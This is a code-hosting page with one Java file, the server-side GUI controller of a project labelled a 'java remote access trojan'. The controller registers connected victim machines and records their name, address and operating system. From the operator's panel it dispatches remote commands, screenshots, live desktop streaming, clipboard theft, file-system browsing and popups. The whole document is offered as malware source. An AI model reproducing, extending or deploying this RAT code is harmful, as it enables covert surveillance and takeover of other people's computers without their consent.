java remote access trojanc
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

205 lines
6.2 KiB

  1. package de.sogomn.rat.server.gui;
  2. import java.awt.image.BufferedImage;
  3. import java.util.ArrayList;
  4. import de.sogomn.rat.ActiveClient;
  5. import de.sogomn.rat.IClientObserver;
  6. import de.sogomn.rat.packet.ClipboardPacket;
  7. import de.sogomn.rat.packet.CommandPacket;
  8. import de.sogomn.rat.packet.DesktopStreamPacket;
  9. import de.sogomn.rat.packet.FileSystemPacket;
  10. import de.sogomn.rat.packet.FreePacket;
  11. import de.sogomn.rat.packet.IPacket;
  12. import de.sogomn.rat.packet.InformationPacket;
  13. import de.sogomn.rat.packet.PopupPacket;
  14. import de.sogomn.rat.packet.ScreenshotPacket;
  15. import de.sogomn.rat.server.ActiveServer;
  16. import de.sogomn.rat.server.IServerObserver;
  17. import de.sogomn.rat.util.FrameEncoder.IFrame;
  18. public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
  19. private RattyGui gui;
  20. private ArrayList<ServerClient> clients;
  21. private long nextId;
  22. public RattyGuiController(final RattyGui gui) {
  23. this.gui = gui;
  24. clients = new ArrayList<ServerClient>();
  25. gui.setController(this);
  26. }
  27. private ServerClient getServerClient(final long id) {
  28. for (final ServerClient client : clients) {
  29. if (client.id == id) {
  30. return client;
  31. }
  32. }
  33. return null;
  34. }
  35. private ServerClient getServerClient(final ActiveClient client) {
  36. for (final ServerClient serverClient : clients) {
  37. if (serverClient.client == client) {
  38. return serverClient;
  39. }
  40. }
  41. return null;
  42. }
  43. private IPacket getPacket(final String command, final ServerClient serverClient) {
  44. if (command == RattyGui.POPUP) {
  45. return PopupPacket.create();
  46. } else if (command == RattyGui.FREE) {
  47. return new FreePacket();
  48. } else if (command == RattyGui.SCREENSHOT) {
  49. return new ScreenshotPacket();
  50. } else if (command == RattyGui.COMMAND) {
  51. return CommandPacket.create();
  52. } else if (command == RattyGui.DESKTOP) {
  53. return new DesktopStreamPacket(true);
  54. } else if (command == RattyGui.CLIPBOARD) {
  55. return new ClipboardPacket();
  56. } else if (command == FileTreePanel.REQUEST) {
  57. final String path = serverClient.getTreePanel().getLastPathClicked();
  58. final FileSystemPacket packet = new FileSystemPacket(path);
  59. return packet;
  60. }
  61. return null;
  62. }
  63. private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
  64. final BufferedImage image = packet.getImage();
  65. serverClient.getDisplayPanel().showImage(image);
  66. }
  67. private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
  68. final IFrame frame = packet.getFrame();
  69. final int screenWidth = packet.getScreenWidth();
  70. final int screenHeight = packet.getScreenHeight();
  71. final DesktopStreamPacket request = new DesktopStreamPacket();
  72. final DisplayPanel displayPanel = serverClient.getDisplayPanel();
  73. displayPanel.showFrame(frame, screenWidth, screenHeight);
  74. serverClient.client.addPacket(request);
  75. }
  76. private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
  77. final String[] paths = packet.getPaths();
  78. final FileTreePanel treePanel = serverClient.getTreePanel();
  79. for (final String path : paths) {
  80. treePanel.addFile(path);
  81. }
  82. }
  83. private void handle(final ServerClient serverClient, final InformationPacket packet) {
  84. final long id = serverClient.id;
  85. final String name = packet.getName();
  86. final String address = serverClient.client.getAddress();
  87. final String os = packet.getOs();
  88. final String version = packet.getVersion();
  89. serverClient.logIn(name, os, version);
  90. serverClient.setController(this);
  91. gui.addTableRow(id, name, address, os, version);
  92. }
  93. @Override
  94. public void packetReceived(final ActiveClient client, final IPacket packet) {
  95. final ServerClient serverClient = getServerClient(client);
  96. final boolean loggedIn = serverClient.isLoggedIn();
  97. if (loggedIn) {
  98. if (packet instanceof ScreenshotPacket) {
  99. final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
  100. handle(serverClient, screenshot);
  101. } else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
  102. final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
  103. handle(serverClient, stream);
  104. } else if (packet instanceof FileSystemPacket) {
  105. final FileSystemPacket file = (FileSystemPacket)packet;
  106. handle(serverClient, file);
  107. } else {
  108. packet.execute(client);
  109. }
  110. } else if (packet instanceof InformationPacket) {
  111. final InformationPacket information = (InformationPacket)packet;
  112. handle(serverClient, information);
  113. }
  114. }
  115. @Override
  116. public void disconnected(final ActiveClient client) {
  117. final ServerClient serverClient = getServerClient(client);
  118. final long id = serverClient.id;
  119. client.setObserver(null);
  120. client.close();
  121. clients.remove(client);
  122. gui.removeTableRow(id);
  123. }
  124. @Override
  125. public void clientConnected(final ActiveServer server, final ActiveClient client) {
  126. final long id = nextId++;
  127. final ServerClient serverClient = new ServerClient(id, client);
  128. final InformationPacket packet = new InformationPacket();
  129. client.setObserver(this);
  130. clients.add(serverClient);
  131. client.start();
  132. client.addPacket(packet);
  133. }
  134. @Override
  135. public void closed(final ActiveServer server) {
  136. //...
  137. }
  138. @Override
  139. public void userInput(final String command) {
  140. final long lastIdClicked = gui.getLastIdClicked();
  141. final ServerClient serverClient = getServerClient(lastIdClicked);
  142. final IPacket packet = getPacket(command, serverClient);
  143. if (packet != null) {
  144. serverClient.client.addPacket(packet);
  145. }
  146. if (command == RattyGui.DESKTOP) {
  147. serverClient.setStreamingDesktop(true);
  148. gui.setStreaming(lastIdClicked, true);
  149. } else if (command == RattyGui.DESKTOP_STOP) {
  150. serverClient.setStreamingDesktop(false);
  151. gui.setStreaming(lastIdClicked, false);
  152. } else if (command == RattyGui.FILES) {
  153. serverClient.getTreePanel().setVisible(true);
  154. }
  155. }
  156. @Override
  157. public void keyboardInput(final int key, final boolean flag) {
  158. //...
  159. }
  160. @Override
  161. public void mouseInput(final int x, final int y, final int button, final boolean flag) {
  162. //...
  163. }
  164. }